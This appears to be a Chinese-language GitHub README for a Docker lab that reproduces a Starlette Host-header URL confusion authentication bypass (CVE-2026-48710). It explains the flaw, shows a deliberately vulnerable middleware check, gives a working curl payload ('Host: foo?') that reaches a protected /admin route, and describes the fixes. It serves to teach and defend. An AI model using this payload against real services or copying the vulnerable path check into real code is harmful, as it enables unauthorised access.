xtremebeing/starlette-host-header-lab
GitHub: xtremebeing/starlette-host-header-lab
一个用于复现和研究 Starlette Host 头 URL 混淆导致身份验证绕过漏洞(CVE-2026-48710)的容器化安全实验环境。
Stars: 1 | Forks: 0
# Starlette Host 头 URL 混淆实验环境 (X41-2026-002)
一个独立的、容器化的训练实验环境,用于复现 X41 D-Sec 披露的 Starlette
身份验证绕过漏洞。
- **安全公告:** [X41-2026-002](https://x41-dsec.de/lab/advisories/x41-2026-002-starlette/)
- **GHSA:** GHSA-86qp-5c8j-p5mr
- **CWE:** 436 — 解释冲突 / 函数调用中的不可信输入
- **CVSS:** 7.0(高)
- **受影响版本:** Starlette `>= 0.8.3`, `< 1.0.1`(本实验环境固定使用 `0.37.2`)
- **修复版本:** Starlette `1.0.1`
## 一段话解释该漏洞
Starlette 使用原始的 ASGI `scope["path"]` 将请求分发到某个路由,
但它通过将客户端提供的 `Host` 头字符串格式化为 `"{scheme}://{host}{path}"` 来重构 `request.url` —— **而没有根据 RFC 9112 §3.2 验证 Host 头**。
由于 URL 元字符(`?`, `/`, `#`)被直接允许通过,攻击者可以使*重构的*路径
与*路由的*路径不同。任何针对 `request.url.path` 编写的安全检查
都可能被欺骗,同时路由器仍然会到达受保护的处理程序。
### PoC 的原理
存在漏洞的中间件仅在 `request.url.path` 为
`/` 或为空时允许请求通过:
```
if request.url.path in ("/", ""):
return await call_next(request) # allowed
return PlainTextResponse("Forbidden", status_code=403)
```
针对 `GET /admin` 发送 `Host: foo?`:
| 组件 | 使用的值 |
|---------------------------|-------------------------------------|
| Router (`scope["path"]`) | `/admin` → 分发至 `admin()` |
| `request.url` | `http://foo?/admin` |
| `request.url.path` | `""` → 通过身份验证 ✅ |
`?` 会将其后的所有内容变成*查询字符串*,因此解析出的路径
为空。身份验证机制看到空路径便予以放行;而路由器仍然提供
`/admin` 的服务。**绕过成功。**
## 运行实验环境
需要 Docker + Docker Compose。
```
docker compose up --build
```
启动两个服务:
| 服务 | URL | 行为 |
|--------------|-------------------------|------------------------------|
| `vulnerable` | http://localhost:8000 | 可绕过 |
| `fixed` | http://localhost:8001 | 已缓解(两种方式) |
### 利用漏洞
```
# 正常拦截:
curl -i http://localhost:8000/admin # 403 Forbidden
# 通过 Host header injection 绕过:
curl -i -H 'Host: foo?' http://localhost:8000/admin # 200 OK + FLAG{...}
```
或者运行引导式 PoC 脚本:
```
./exploit/exploit.sh # attacks :8000 (succeeds)
./exploit/exploit.sh 8001 # attacks :8001 (fails — fixed)
```
存在漏洞的 `/admin` 处理程序返回的 JSON 主体使这种混淆
变得可见——请注意 `scope_path` 和 `reconstructed_path` 是如何不一致的:
```
{
"secret": "FLAG{host_header_url_confusion}",
"scope_path": "/admin",
"reconstructed_url": "http://foo?/admin",
"reconstructed_path": "",
"host_header": "foo?"
}
```
## 修复原理
参见 [`fixed/fixed_app.py`](fixed/fixed_app.py)。包含两个独立的缓解措施:
1. **使用权威值。** 在
`request.scope["path"]`(即路由器使用的相同原始路径)上做出身份验证决策,而不是在重构的
`request.url.path` 上。
2. **纵深防御。** `TrustedHostMiddleware` 在任何应用逻辑运行之前拒绝意外/格式错误的
`Host` 头,这映射了
符合 RFC 的反向代理(nginx/Apache)在上游所做的工作。
现实世界中的修复方法很简单,即**升级到 Starlette ≥ 1.0.1**,该版本会在 URL 重构期间验证 Host 头。
## 面向工程师的讨论提示
1. 在典型的技术栈中,还有哪些地方会从不可信输入中*重构*值
然后予以信任?(提示:SSRF 允许列表、OAuth `redirect_uri`、缓存键、
基于 `Host` 构建的密码重置链接。)
2. 为什么在这里“拦截恶意路径”(`/admin`)比“基于路由端点进行决策”更脆弱?如果路由是不区分大小写的或有尾部斜杠重定向会怎样?
3. 这是 CWE-436(解释冲突)。还有哪些著名的漏洞具有这种特征?(HTTP 请求走私、Unicode 规范化身份验证绕过、`0.0.0.0`-day。)
## 文件
```
starlette-host-header-lab/
├── app/vulnerable_app.py # the deliberately vulnerable service
├── fixed/fixed_app.py # mitigated service for comparison
├── exploit/exploit.sh # guided proof-of-concept
├── requirements.txt # pins Starlette 0.37.2 (vulnerable)
├── Dockerfile
├── docker-compose.yml
└── README.md
```
标签:CISA项目, Docker容器, Python, Starlette, Web安全, 攻击面发现, 无后门, 漏洞复现环境, 版权保护, 蓝队分析, 请求拦截, 身份验证绕过, 逆向工具